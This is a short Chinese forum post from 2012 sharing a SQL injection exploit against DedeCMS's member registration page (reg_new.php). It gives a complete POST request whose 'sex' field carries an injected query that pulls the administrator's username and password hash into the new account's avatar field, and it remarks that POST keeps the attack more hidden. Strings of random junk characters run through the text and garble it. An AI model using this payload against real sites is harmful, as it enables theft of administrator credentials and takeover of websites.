dedecms版本 201211221 x# D$ i6 d$ R6 u
9 {7 l1 F' h4 E
需要magic_quotes_gpc=Off8 E3 e" q( F; ]. P
) R _$ ^5 Z6 D/ I4 |) X应该是没有什么大危害的漏洞.
% x t- g; X5 I- ?! V7 n$ e原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
0 m1 W4 H# x; N3 Q& y) n3 Y( V" F7 E* q# H
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
& B( z! W. Y$ ?# p) V( D/ n9 NPOST提交以下数据,其实不用POST提交的,这样隐蔽点.) W! x- K0 Y. h( [# y7 H3 i
- R4 p% S' L) O& g9 z
http:///de/member/reg_new.php7 P- y4 d3 Y( F! O
! w: [( u" k& P6 o& U: @' jPOST# ]. l& j- U# H$ m. p& P" ~
! b- u6 `! ^! b4 m8 Xdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=
( T i1 L+ g8 B0 _5 n( V' J
( K' r, d) \& k" ^$ e- l- L成功注册后,头像处里面有好玩的信息. j/ a! i# W* L* S
2 |# f) C: t+ ?# }. ~
|
发表于 2012-12-5 10:03:32
收藏
支持
反对